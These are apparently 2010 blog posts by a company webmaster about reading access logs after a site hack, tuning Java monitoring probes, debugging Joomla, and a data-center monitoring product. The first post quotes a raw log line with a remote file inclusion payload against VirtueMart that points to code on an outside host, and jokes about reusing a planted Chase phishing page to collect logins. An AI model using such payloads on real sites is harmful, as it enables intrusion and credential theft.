Webmaster - The Operator in Matrix

I have been a webmaster of our company website for a few months now, and it reminds me of the Operator in the Matrix.

After the company website got hacked, I took on the role of maintaining the website as well.  I find myself parsing through access and error logs looking for anomalies.  To the average Joe, I guess it could look a lot like the Matrix.

However, staring at the "Matrix" has proven to be quite informative.  Although I found no hot blonde in red dress, I did learn a think or two about the www.  I didn't realized there are so many search engines out there. Here are a few I spotted in our access logs:

1. Google
2. Yahoo (slurp)
3. Baidu
4. MSN
5. Sogou
6. Youdao
7. Soso

Deja Vu in the Matrix? I got a few of those.  Here are a few anomalies I spotted:

89.108.67.164 - - [31/Jul/2010:20:33:55 +0800] "GET /website/index.php/component/virtuemart/details/117/69/remote-power-control/server-technology/switched-cdu///administrator/components/com_virtuemart/export.php?mosConfig.absolute.path=http://constructor.ru/modules/goodid.txt? HTTP/1.1" 200 45891 "-" "libwww-perl/5.812"

Spot anything?  Turns out it is an attempt to exploit a vulnerability in VirtueMart <=1.1.3.  Good things since I have re-did the website, I know exactly what is in it.  I have *all* the website components' release RSS feed in my Google Reader, setup up some kind of test-bed and source control, and make it a habit of patching the website soon after a release.  For the nitpicker smarty-pants out there, no I don't mean all the components of the website, that is why the *all* is quoted with a asterisks. I am not maintaining the website's Apache, PHP and MySQL infrastructure, let's hope our web-hosting company do a good job in maintaining that.

66.113.102.253 - - [31/Jul/2010:21:41:39 +0800] "GET /website/components/chase.com/logon_confirm/index.htm HTTP/1.1" 404 2203 "-" "Mozilla/5.0 (compatible; Fedora Core 5) FC5 KDE"

Looks like the hacker's script which planted the phony JP Morgan Chase page on our website back in March still thinks we are hosting their page.  Hmm.... since the hacker is already directing traffic to our site, maybe I should rebuild the Logon page and collect the login information for my evil use.

Arrwaaaaaa hahahhaha! (The Evil laughter)

Environment Monitoring Probe Optimization and the "-Xnoclassgc" Java parameter

By integration an existing monitoring software and some wireless reader and sensor technology, we have quickly came up with a prototye software to do environment monitoring as mentioned in another post. We where able to deploy a POC with a client and the feedback was positive.  However the client did notice some lingering Java process on the server where the software was deployed.  This is okay for a POC, but probably not okay for a live site with a lot of probes.  Luckily with our software, we are able to monitor the response time of these probes and chart it.  In a our test-bed with more than 100 sensors, I have picked 50 sensors and charted their response time.  They are indicated in the chart below.  During the time frame annotated with (1), it is the response time of the first generate probes.

Initially, I was hoping for a quick fix with some optimization parameters. Since this is a short-lived Java program, I used the "-Xnoclassgc" parameter and boom! the response time dropped by more than a third.  The response time can be seen marked as (2) in the chart.  If you do a quick google about the "-Xnoclassgc" parameter, you will get a lot of warning about using this parameter.  For example, this article titled "Java’s -Xnoclassgc considered harmful".  However, for a short-lived program, this is one of the situation which warrants using this parameter.

With the -Xnoclassgc fix, the response time of the probes are still taking almost 2 seconds, while when I do a network ping, it is roughly taking between 100~200 ms. In order to address this issue, a re-architecture of the probes were necessary.  While for the initial development, I was keeping the quick-to-market approach in mind now it is time to take it to the next-level for real production usage.

To ensure the long time viability of this solution, I have also setup proper source control and redundant repositories to ensure the code is not lost.  With the new version with the new streamline code base, the solution has been optimize in both size and speed.  The response time is now comparable to a ping command between 100~200 ms as indicate in section (3) in the chart.  The deployment package was also shrunk from over 1.1 MB to 21 KB.  With this improvement, there are no longer any lingering Java process on the server!

Finally a more stable development environment for PHP/Joomla

Working on our Joomla based website has been a pain for the longest time for me.  I have the development setup using XAMPP 1.7.3, and Netbeans 6.8. One of the key tool for a developer is the ability to run in debug more and step-through the code, inspecting the variables during runtime.  Unfortunately, for my default setup, the Apache HTTPD process crashing when ever I tried to inspect a variable.  A quick Google on the web showed there is a lot of people facing similar issue:

• Why does xdebug crash apache on every XAMPP install I’ve tried? on Stackoverflow
• http://bugs.xdebug.org/view.php?id=410 on XDebug's own bug tracker

When our website got hacked as mentioned in an earlier post, the migration from Joomla 1.0.x to 1.5.x would have been a lot more easier with a properly setup development environment.

The good news xdebug v2.1.0 release on 2010-06-29 has been working a lot more stable for me.  Although still crashes a lot, way more than what I am use to on the Java platform, it manages to hold up for most of the time in order for me to inspect the code and runtime variable to get a good sense of what is going on.  Good thing is the current website is still fairly stateless and I could get back to the page or state I want to debug fairly quickly after a crash.

Perhaps this why there is still a lot of debate on whehter PHP is ready for the enterprise.  I hate to be working on an issue deep inside a complicated workflow on a PHP platform! 

Wireless, Real-time, Environment Monitoring Solution

We have packaged a total solution for data center environment monitoring.  Our primary focus is to allow organization understand the environment where they host their mission critical equipments.  Most data center continue to crank up the CRAC units at their data center and freeze the entire server room without a clear picture of the environment situation in the data center.  Traditional BMS system just measure one a 2 points in the server room, which is grossly in efficient.  With the increasing powerful server equipments such as blade server, we now have racks which are easily over 5kW.  In comparison, a commercial oven or stove is typically only 4kW.  This is why localized hotspot can easily develop in your data center!

With rising energy price and the Green IT movement, it is not only hip to optimize your data center cooling, but it also save your organization money.  If Google said you should raise you data center temperature, it must be the correct thing to do right?  Don't trust Google? What about the engineers atAmerican Society of Heating, Refrigerating, and Air-Conditioning Engineers (ASHRAE). ASHRAE has update their environment condition recommendation for server equipment, and they have increase the up-limit equipment in-take temperature to 27 deg C.  Don't want to take the risk of causing environment problems in your data center by initiating a cooling optimization effort?  Well, monitoring it first!

Learn more about Quantum Data Systems' wire-free, real-time environment monitoring solution.